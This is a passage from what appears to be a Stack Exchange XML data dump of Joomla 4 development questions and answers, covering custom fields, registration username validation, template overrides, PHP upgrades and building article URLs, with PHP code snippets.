 &amp;quot;php&amp;quot;: &amp;quot;^7.2.5&amp;quot;,&#xA;    &amp;quot;joomla/application&amp;quot;: &amp;quot;^2.0.4&amp;quot;,&#xA;    &amp;quot;joomla/archive&amp;quot;: &amp;quot;^2.0.2&amp;quot;,&#xA;    &amp;quot;joomla/authentication&amp;quot;: &amp;quot;^2.0.1&amp;quot;,&#xA;    ...&#xA;    &amp;quot;joomla/utilities&amp;quot;: &amp;quot;^2.0.1&amp;quot;,&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This package also has its own &lt;code&gt;composer.json&lt;/code&gt; file which contains the &lt;code&gt;autoload&lt;/code&gt; directive:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;autoload&amp;quot;: {&#xA;    &amp;quot;psr-4&amp;quot;: {&#xA;        &amp;quot;Joomla\\Utilities\\&amp;quot;: &amp;quot;src/&amp;quot;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Normally Composer dependencies are installed in &lt;code&gt;vendor&lt;/code&gt; directory but Joomla uses a custom directory defined using &lt;code&gt;vendor-dir&lt;/code&gt; configuration option. Back in the &lt;code&gt;composer.json&lt;/code&gt; of the CMS we can see this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;quot;config&amp;quot;: {&#xA;     ...&#xA;    &amp;quot;vendor-dir&amp;quot;: &amp;quot;libraries/vendor&amp;quot;,&#xA;     ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To build the path to classes of dependency packages, use the vendor directory (in this case &lt;code&gt;libraries/vendor&lt;/code&gt;), package name (&lt;code&gt;joomla/utilities&lt;/code&gt;) and the directory defined in the autoload configuration (&lt;code&gt;src/&lt;/code&gt;). So ultimately, the root directory of &lt;code&gt;Joomla\Utilities&lt;/code&gt; namespace is &lt;code&gt;libraries/vendor/joomla/utilities/src/&lt;/code&gt;. And &lt;code&gt;Joomla\Utilities\IpHelper&lt;/code&gt; class is in &lt;code&gt;libraries/vendor/joomla/utilities/src/IpHelper.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-05-04T06:38:49.167" LastActivityDate="2023-05-04T06:38:49.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33028" PostTypeId="1" CreationDate="2023-05-04T11:27:18.897" Score="0" ViewCount="56" Body="&lt;p&gt;I'm using Joomla custom fields for articles and have created a custom field of type &amp;quot;media&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Also, because I want to setup my own rules on where and how uploaded files are stored,  I've created a custom filesystem plugin.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to limit the &amp;quot;media&amp;quot; custom field to use only that custom filesystem plugin and not the default Joomla local filesystem plugin.&lt;/p&gt;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2024-02-15T22:02:45.387" Title="Can I limit a custom media field to use a single filesystem plugin?" Tags="|joomla-4.x|custom-field|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33029" PostTypeId="1" AcceptedAnswerId="33033" CreationDate="2023-05-04T17:29:02.173" Score="1" ViewCount="117" Body="&lt;p&gt;I have a situation whereby I want users to register on Joomla (using the standard J! registration form) using a 6-digit identification number that they have been given.&lt;/p&gt;&#xA;&lt;p&gt;I have modified the Joomla login / registration field labels to prompt the user to enter their identification number as a username.&lt;/p&gt;&#xA;&lt;p&gt;However people have still used an email address as a username (probably due to browser autocomplete). How can I prevent them from entering email into the username field and return false if a email is entered?&lt;/p&gt;&#xA;&lt;p&gt;I don't know which joomla file to edit or if i should be using php or javascript to check the validation.&#xA;Is there an override that can be done?&lt;/p&gt;&#xA;" OwnerUserId="16781" LastEditorUserId="12352" LastEditDate="2023-05-04T21:50:45.640" LastActivityDate="2023-05-08T21:05:00.643" Title="Joomla 4.3.X Validate a username on registration to NOT contain an @ symbol (notEmail)" Tags="|user|registration|validation|user-registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33030" PostTypeId="1" CreationDate="2023-05-04T20:57:58.830" Score="0" ViewCount="243" Body="&lt;p&gt;In Joomla 4, what is the code that makes me show the category image in the article?&lt;/p&gt;&#xA;&lt;p&gt;Previously, I used this code for Joomla 3:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$secid = $this-&amp;gt;item-&amp;gt;catid;&#xA;$category = JCategories::getInstance('Content')-&amp;gt;get($secid);&#xA;if ($category-&amp;gt;getParams()-&amp;gt;get('image')): ?&amp;gt;&#xA;    &amp;lt;img src=&amp;quot;&amp;lt;?php echo $category-&amp;gt;getParams()-&amp;gt;get('image'); ?&amp;gt;&amp;quot;/&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This code does not work in Joomla 4.&lt;/p&gt;&#xA;" OwnerUserId="17043" LastEditorUserId="12352" LastEditDate="2023-05-04T21:54:54.290" LastActivityDate="2024-02-16T10:08:31.100" Title="How to display category image instead of category name in article in joomla 4?" Tags="|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33031" PostTypeId="1" CreationDate="2023-05-04T22:15:12.177" Score="1" ViewCount="50" Body="&lt;p&gt;Joomla's custom fields feature is missing quite a few and important field types&lt;/p&gt;&#xA;&lt;p&gt;Is there a way I can add field types to com_fields?&lt;/p&gt;&#xA;&lt;p&gt;As an example, there is no &amp;quot;file&amp;quot; (&lt;a href=&quot;https://docs.joomla.org/File_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/File_form_field_type&lt;/a&gt;) available (see screen capture).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sYwQ6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sYwQ6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-05-04T22:15:12.177" Title="Is there a way I can add field types to com_fields?" Tags="|joomla-4.x|custom-field|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33032" PostTypeId="1" CreationDate="2023-05-04T22:38:18.190" Score="2" ViewCount="39" Body="&lt;p&gt;I need a little bit of guidance when it comes to upgrading PHP on a Joomla! site&#xA;The server is running RHEL 8.7 and I have already updated Lampp on my webserver to xampp-linux-x64-7.4.30-1. (this version of lampp contains PHP 7.4.30 &amp;amp; Apache 2.4.54)&lt;/p&gt;&#xA;&lt;p&gt;The Steps on the Joomla site (in the link below) do not go into depth when it comes to updating php. They direct you to another article about how to setup a lampp server.&#xA;&lt;a href=&quot;https://magazine.joomla.org/all-issues/september-2020/how-do-i-update-my-php-version&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/september-2020/how-do-i-update-my-php-version&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The lampp I installed on my web server contains PHP 7.4.3 . I am not clear on how to get that to reflect in Joomla's system information. That is currently displaying version 7.3.17&lt;/p&gt;&#xA;&lt;p&gt;is it as simple as adding an AddHandler to the htaccess file?&#xA;&#xA;AddHandler application/x-httpd-ea-php74___lsphp .php .php7 .phtml&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Here are the relevant specs on my Joomla! site&#xA;Joomla Specs&#xA;PHP Version:    7.3.17&#xA;Web Server: Apache/2.4.54 (Unix) OpenSSL/1.1.1q mod_perl/2.0.12 Perl/v5.34.1&#xA;WebServer to PHP Interface: apache2handler&#xA;Joomla! Version:    Joomla! 3.9.26 Stable [ Amani ] 13-April-2021 15:00 GMT&#xA;Joomla! Platform Version:   Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT&lt;/p&gt;&#xA;" OwnerUserId="17044" LastActivityDate="2023-05-04T22:38:18.190" Title="Help With Joomla PHP Upgrade" Tags="|joomla-3.x|php7|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33033" PostTypeId="2" ParentId="33029" CreationDate="2023-05-05T08:33:14.207" Score="1" Body="&lt;p&gt;This should be addressed in the registration form, the backend function it calls, and any subsequent login attempts.&lt;/p&gt;&#xA;&lt;h1&gt;Registration Form&lt;/h1&gt;&#xA;&lt;p&gt;In the registration form, you can add some javascript to ensure there is no '@' symbol. Just create an override for the registration form and that should do. Either do it with Javascript, or change the input type to number for the user (if the pin is numeric):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&amp;quot;number&amp;quot; ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In order to create the override, go to System / Templates (site), click on your template and use the tab &amp;quot;Create Overrides&amp;quot;, which will also tell you where it is saved.&lt;/p&gt;&#xA;&lt;p&gt;The fields are defined in the form xml, you may not remove fields, but you can add some using the User Profile plugin. Never edit core files.&lt;/p&gt;&#xA;&lt;h2&gt;Backend&lt;/h2&gt;&#xA;&lt;p&gt;It seems there are no plugin events called upon registration, so either you intercept the call with a system plugin, or - way better - you use the override above to redirect the registration to your custom code to ensure nobody bypassed your frontend validation. This is just an extra check, as the part below will ensure it won't work even if the user manages to bypass your authentication checks.&lt;/p&gt;&#xA;&lt;h1&gt;Login function&lt;/h1&gt;&#xA;&lt;p&gt;When the user attempts to login, the authentication process goes through the authentication plugins in the backend, so you should create your own authentication plugin (i.e. your manifest should contain:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;authentication&amp;quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and just return false along with an error message so the user will know why it's not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onUserAuthenticate($credentials, $options, &amp;amp;$response)&#xA;    {&#xA;        if (!is_numeric($credentials['username']))&#xA;        {&#xA;            $response-&amp;gt;status        = JAuthentication::STATUS_FAILURE;&#xA;            $response-&amp;gt;error_message = JText::_('YOUR_CUSTOM_ERROR_TRANSLATED_STRING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course this is very basic, you might want to add checks so that your admins can continue using alphanumeric logins, but this should give you all the entry points you need.&lt;/p&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2023-05-08T21:05:00.643" LastActivityDate="2023-05-08T21:05:00.643" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33034" PostTypeId="1" CreationDate="2023-05-05T11:08:45.627" Score="2" ViewCount="121" Body="&lt;p&gt;I've created a custom field plugin type &amp;quot;file&amp;quot; and am using it as custom field on articles so users can upload a file (the &amp;quot;media&amp;quot; type file does not suit my needs).&lt;/p&gt;&#xA;&lt;p&gt;It looks and works OK while editing the article, but how do I manage to handle the upload itself?&lt;/p&gt;&#xA;&lt;p&gt;In other words, when I save the article, &lt;code&gt;jform[com_fields][my-file-field-name]&lt;/code&gt; is included on the submitted form data, but I do not know where to place the actual code to handle the uploaded file.&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-05-05T11:08:45.627" Title="How do I upload a file with article custom fields?" Tags="|development|joomla-4.x|custom-field|file-upload|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33035" PostTypeId="1" CreationDate="2023-05-06T13:13:55.537" Score="1" ViewCount="51" Body="&lt;p&gt;In Joomla 4.3.1, I've made an override of the com_content/archive/default_items.php&#xA;Now I want to strip tags and display the string (text from article) as one line &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; only. Without any formatting. No &lt;code&gt;&amp;lt;strong&amp;gt;, &amp;lt;em&amp;gt;, &amp;lt;br&amp;gt;, &amp;lt;h3&amp;gt;&lt;/code&gt; etc.&lt;/p&gt;&#xA;&lt;p&gt;This is the code where I somewhere want to add the string function &amp;quot;&lt;strong&gt;strip_tags&lt;/strong&gt;&amp;quot;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($params-&amp;gt;get('show_intro')) : ?&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;intro&amp;quot; itemprop=&amp;quot;articleBody&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo HTMLHelper::_('string.truncateComplex', $item-&amp;gt;introtext, $params-&amp;gt;get('introtext_limit')); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It goes without saying I'm a PHP-beginner, and I've researched the PHP- and Joomla-forums. Googling the &amp;quot;truncateComplex&amp;quot; does not really give anything. And all my attemps just break my site.&lt;/p&gt;&#xA;" OwnerUserId="14580" LastEditorUserId="12352" LastEditDate="2023-05-08T11:11:26.493" LastActivityDate="2024-02-13T14:03:10.393" Title="How implement the PHP strip_tags in the Joomla 4-file com_content/archive/default_items.php" Tags="|php|template-override|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33036" PostTypeId="1" CreationDate="2023-05-08T12:20:54.570" Score="1" ViewCount="178" Body="&lt;p&gt;Joomla media allows me to upload &amp;quot;.pdf&amp;quot; files.&lt;/p&gt;&#xA;&lt;p&gt;But if I set up a &amp;quot;media&amp;quot; custom field it does not allow me neither to upload a PDF nor to select a PDF previously uploaded via the media manager (PDFs simply do not show on the select popup).&lt;/p&gt;&#xA;&lt;p&gt;I'm I missing something on definitions? Or is this intended behavior?&lt;/p&gt;&#xA;" OwnerUserId="5692" LastActivityDate="2023-05-08T12:20:54.570" Title="Custom field type &quot;media&quot; not allowing PDFs" Tags="|joomla-4.x|custom-field|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33037" PostTypeId="1" CreationDate="2023-05-09T16:17:12.650" Score="2" ViewCount="181" Body="&lt;p&gt;I was able to compose a url from a subform that included text input fields.&#xA;I was able to display the link because it was in the same menu&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;i class=&amp;quot;fa fa-link fa-1x&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt; Liens ressources web externes &amp;lt;/h3&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;    &amp;lt;a href=&amp;quot;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;rawvalue; ?&amp;gt;&amp;amp;catid=168&amp;amp;Itemid=156&amp;amp;lang=fr&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;value; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;p&gt;When I do :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; echo $this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;rawvalue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;row0&amp;quot;:{&amp;quot;field42&amp;quot;:&amp;quot;120&amp;quot;,&amp;quot;field41&amp;quot;:&amp;quot;&amp;quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;1/ how to retrieve the value &amp;quot;120&amp;quot; from the field &amp;quot;field42&amp;quot; to extract the value &amp;quot;XXX&amp;quot; ?&#xA;2/ how to get the category &amp;quot;YY&amp;quot; of the item (in this case the id=120), see the itemid &amp;quot;ZZ&amp;quot; ?&lt;/p&gt;&#xA;&lt;p&gt;to make the link of type&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;/index.php?option=com_content&amp;amp;view=article&amp;amp;id=&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;XXX; ?&amp;gt;&amp;amp;catid=YY&amp;amp;Itemid=ZZ&amp;amp;lang=fr&amp;quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;XXX; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wHZtJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wHZtJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14630" LastActivityDate="2023-06-26T09:21:17.513" Title="compose a url from an extract of a subform" Tags="|custom-field|subform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33039" PostTypeId="1" CreationDate="2023-05-10T17:59:57.260" Score="1" ViewCount="67" Body="&lt;p&gt;I created a custom form field. This field consists of multiple tabs that switch for every language that is installed to a separate WYSIWYG Editor field. So it's basically just multiple Editor fields in tabs.&lt;/p&gt;&#xA;&lt;p&gt;The first tab is the Joomla default language. So far everything works fine, including saving in the model. The problem I have is that the editor XTD Buttons always refer only to the first editor field.&lt;br /&gt;&#xA;So when I switch the second tab and and insert a readmore element, it gets inserted in the first editor tab.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, the &lt;code&gt;Toggle Editor&lt;/code&gt; button is working correct for every editor inside a tab.&lt;/p&gt;&#xA;&lt;p&gt;This has to do with the setup and initialisation of the editor fields, because at the moment only one editor instance seems to be there, but I cannot get the right solution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ftype&lt;/code&gt; is only the attribute that tells the field what kind of field there is, because it can also be only a regular input field and not editor, but that is of no importance for this question.&lt;/p&gt;&#xA;&lt;p&gt;Here are most important parts of the code:&lt;/p&gt;&#xA;&lt;h3&gt;Custom Field:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;use Joomla\CMS\Layout\FileLayout;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Form\Field\EditorField;&#xA;&#xA;class JFormFieldTabEditors extends EditorField&#xA;{&#xA;    public $type = 'TabEditors';    &#xA;&#xA;    protected function getLayoutData()&#xA;    {&#xA;        $data = parent::getLayoutData();&#xA;&#xA;        $asset      = $this-&amp;gt;asset ? $this-&amp;gt;asset : '';&#xA;        $height      = $this-&amp;gt;element['height'] ? (string) $this-&amp;gt;element['height'] : '500';&#xA;        $width       = $this-&amp;gt;element['width'] ? (string) $this-&amp;gt;element['width'] : '100%';&#xA;        $columns      = $this-&amp;gt;columns ? ' cols=&amp;quot;' . $this-&amp;gt;columns . '&amp;quot;' : '';&#xA;        $rows         = $this-&amp;gt;rows ? ' rows=&amp;quot;' . $this-&amp;gt;rows . '&amp;quot;' : '';&#xA;        $maxlength    = $this-&amp;gt;maxlength ? ' maxlength=&amp;quot;' . $this-&amp;gt;maxlength . '&amp;quot;' : '';&#xA;        $buttons =  $this-&amp;gt;buttons ? (is_array($this-&amp;gt;buttons) ? array_merge($this-&amp;gt;buttons, $this-&amp;gt;hide) : $this-&amp;gt;hide) : false;&#xA;&#xA;        if (Factory::getApplication()-&amp;gt;isClient('site')) {&#xA;            $class = $this-&amp;gt;fclass;&#xA;        } else {&#xA;            $class =  'form-control ' . $this-&amp;gt;bclass;&#xA;        }&#xA;&#xA;        $extraData = array(&#xA;            'ftype'    =&amp;gt; $this-&amp;gt;ftype,&#xA;            'maxlength'    =&amp;gt; $maxlength,&#xA;            'height'         =&amp;gt; $height,&#xA;            'width'         =&amp;gt; $width,&#xA;            'rows'         =&amp;gt; $rows,&#xA;            'columns'      =&amp;gt; $columns,&#xA;            'asset'      =&amp;gt; $asset,&#xA;            'asset'      =&amp;gt; $asset,&#xA;            'charcounter'  =&amp;gt; $this-&amp;gt;charcounter,&#xA;            'class' =&amp;gt; $class,&#xA;            'buttons' =&amp;gt; $buttons,&#xA;            'hide' =&amp;gt; $this-&amp;gt;hide,&#xA;            'authorField' =&amp;gt; $this-&amp;gt;form-&amp;gt;getValue($this-&amp;gt;authorField),&#xA;            'autofocus' =&amp;gt; $this-&amp;gt;autofocus,&#xA;            'readonly'  =&amp;gt; $this-&amp;gt;readonly || $this-&amp;gt;disabled,&#xA;            'syntax'    =&amp;gt; (string) $this-&amp;gt;element['syntax'],&#xA;        );&#xA;&#xA;        return array_merge($data, $extraData);&#xA;    }&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;        $data = $this-&amp;gt;getLayoutData();&#xA;        if ($this-&amp;gt;ftype == 'editor') {&#xA;            $editor = $this-&amp;gt;getEditor();&#xA;            $data['editor'] = $editor;&#xA;        }&#xA;&#xA;        $name = (string) $this-&amp;gt;element['name'];&#xA;        $table = (string) $this-&amp;gt;element['table'] ? (string) '_' . $this-&amp;gt;element['table'] : '_lang';&#xA;        $index = (string) $this-&amp;gt;element['index'] ? (string) $this-&amp;gt;element['index'] : 'oid';&#xA;        $oid = Factory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;        $data['langs'] = array();&#xA;        if ($oid &amp;gt; 0) {&#xA;            $db    = Factory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;select('language,' . $name);&#xA;            $query-&amp;gt;from($table);&#xA;            $query-&amp;gt;where($index . ' = ' . $oid);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $data['langs'] = $db-&amp;gt;loadAssocList('language');&#xA;        }&#xA;&#xA;        $layout = new FileLayout('TabEditors', JPATH_ROOT . '/libraries/mylib/layouts/joomla/form/field');&#xA;&#xA;        return rtrim($layout-&amp;gt;render($data), PHP_EOL);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;Layout&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;defined('JPATH_PLATFORM') or die;&#xA;&#xA;extract($displayData);&#xA;&#xA;$attributes = array(&#xA;    $columns ?: '',&#xA;    $rows ?: '',&#xA;    !empty($class) ? 'class=&amp;quot;' . $class . ' ' . $charcounter . '&amp;quot;' : '',&#xA;    strlen($hint) ? 'placeholder=&amp;quot;' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '&amp;quot;' : '',&#xA;    $disabled ? 'disabled' : '',&#xA;    $readonly ? 'readonly' : '',&#xA;    $onchange ? 'onchange=&amp;quot;' . $onchange . '&amp;quot;' : '',&#xA;    $onclick ? 'onclick=&amp;quot;' . $onclick . '&amp;quot;' : '',&#xA;    $required ? 'required' : '',&#xA;    !empty($autocomplete) ? 'autocomplete=&amp;quot;' . $autocomplete . '&amp;quot;' : '',&#xA;    $autofocus ? 'autofocus' : '',&#xA;    $spellcheck ? '' : 'spellcheck=&amp;quot;false&amp;quot;',&#xA;    $maxlength ?: '',&#xA;    !empty($counterlabel) ? $counterlabel : '',&#xA;);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;preg_match_all(&amp;quot;/\\[(.*?)\\]/&amp;quot;, $name, $match);&#xA;$fieldname = end($match[1]);&#xA;$jlangs = MyHelperUtility::getLanguages();&#xA;$cfg = MyHelperConfig::getConfig();&#xA;&#xA;if ($group) {&#xA;    $group = '[' . $group . ']';&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul id=&amp;quot;langtab_&amp;lt;?php echo $id; ?&amp;gt;&amp;quot; class=&amp;quot;uk-tab&amp;quot; uk-tab=&amp;quot;connect: #lang_&amp;lt;?php echo $id; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($jlangs as $language) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;#&amp;quot;&amp;gt;&amp;lt;?php echo $language-&amp;gt;title_native; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;ul id=&amp;quot;lang_&amp;lt;?php echo $id; ?&amp;gt;&amp;quot; class=&amp;quot;uk-switcher&amp;quot;&amp;gt;&#xA;&amp;lt;?php foreach ($jlangs as $language) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;?php if ($ftype == 'editor') : ?&amp;gt;&#xA;            &amp;lt;?php&#xA;            $params = array(&#xA;                'autofocus' =&amp;gt; $autofocus,&#xA;                'readonly'  =&amp;gt; $disabled,&#xA;                'syntax'    =&amp;gt; $syntax,&#xA;            );&#xA;            if ($language-&amp;gt;lang_code == $cfg-&amp;gt;get('defaultlang')) {&#xA;                echo $editor-&amp;gt;display(&#xA;                    $name,&#xA;                    htmlspecialchars($value, ENT_COMPAT, 'UTF-8'),&#xA;                    $width,&#xA;                    $height,&#xA;                    $columns,&#xA;                    $rows,&#xA;                    $buttons,&#xA;                    $id,&#xA;                    $asset,&#xA;                    $authorField,&#xA;                    $params&#xA;                );&#xA;            } else {&#xA;                echo $editor-&amp;gt;display(&#xA;                    'jform[lang][' . $language-&amp;gt;lang_code . ']' . $group . '[' . $fieldname . ']',&#xA;                    htmlspecialchars(@$langs[$language-&amp;gt;lang_code][$fieldname], ENT_COMPAT, 'UTF-8'),&#xA;                    $width,&#xA;                    $height,&#xA;                    $columns,&#xA;                    $rows,&#xA;                    $buttons,&#xA;                    $id . strtolower($language-&amp;gt;lang_code),&#xA;                    $asset,&#xA;                    $authorField,&#xA;                    $params&#xA;                );&#xA;            }&#xA;            ?&amp;gt;&#xA;        &amp;lt;?php endif ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-05-11T12:06:13.273" LastActivityDate="2024-02-17T19:05:50.637" Title="Creating custom field with multiple Editor instances" Tags="|custom-field|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33040" PostTypeId="2" ParentId="33037" CreationDate="2023-05-10T20:42:00.577" Score="1" Body="&lt;p&gt;First you want to handle the JSON value: &lt;code&gt;{&amp;quot;row0&amp;quot;:{&amp;quot;field42&amp;quot;:&amp;quot;120&amp;quot;,&amp;quot;field41&amp;quot;:&amp;quot;&amp;quot;}}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$field_value = json_decode('{&amp;quot;row0&amp;quot;:{&amp;quot;field42&amp;quot;:&amp;quot;120&amp;quot;,&amp;quot;field41&amp;quot;:&amp;quot;&amp;quot;}}');&#xA;$article_id = $field_value-&amp;gt;row0-&amp;gt;field42; // expected == 120&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thus, for you for getting the field value, it is going to be:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$field_value = json_decode($this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;rawvalue);&#xA;$article_id = $field_value-&amp;gt;row0-&amp;gt;field42; // expected == 120&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you have the article ID then you can get the category ID and in few different ways you can build a route/URI:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Helper\RouteHelper;&#xA;&#xA;&#xA;// converting the json value&#xA;$field_value = json_decode($this-&amp;gt;item-&amp;gt;jcfields[40]-&amp;gt;rawvalue);    &#xA;&#xA;$article_id = $field_value-&amp;gt;row0-&amp;gt;field42;    &#xA;&#xA;$app = Factory::getApplication();&#xA;$factory = $app-&amp;gt;bootComponent('com_content')-&amp;gt;getMVCFactory();&#xA;$table = $factory-&amp;gt;createTable('Article', 'Table');    &#xA;$table-&amp;gt;load($article_id);&#xA;$item_catid = $table-&amp;gt;catid;&#xA;&#xA;$rhelper = new RouteHelper;&#xA;$myroute = $rhelper-&amp;gt;getRoute($article_id, 'com_content.article', '', $language = ‘fr’, $catid = $item_catid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will create a value like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;'index.php?option=com_content&amp;amp;view=article&amp;amp;id=120&amp;amp;catid=12&amp;amp;lang=fr&amp;amp;Itemid=118'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Now, here comes the bad news:&lt;/strong&gt; &lt;code&gt;'Itemid'&lt;/code&gt; would be a menu ID and the problem with that is that you cannot query that based on article ID or category ID since many menu items can point to an article or category item, so the router is creating always the menu Itemid where the route was requested/created.&lt;/p&gt;&#xA;&lt;p&gt;Thus, either you hardcode a menu ID in the URI or just leave that out from the URI.&lt;/p&gt;&#xA;&lt;p&gt;So better if you create it half manually (without using the RouteHelper) with continuing the code from above:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$Uri = new 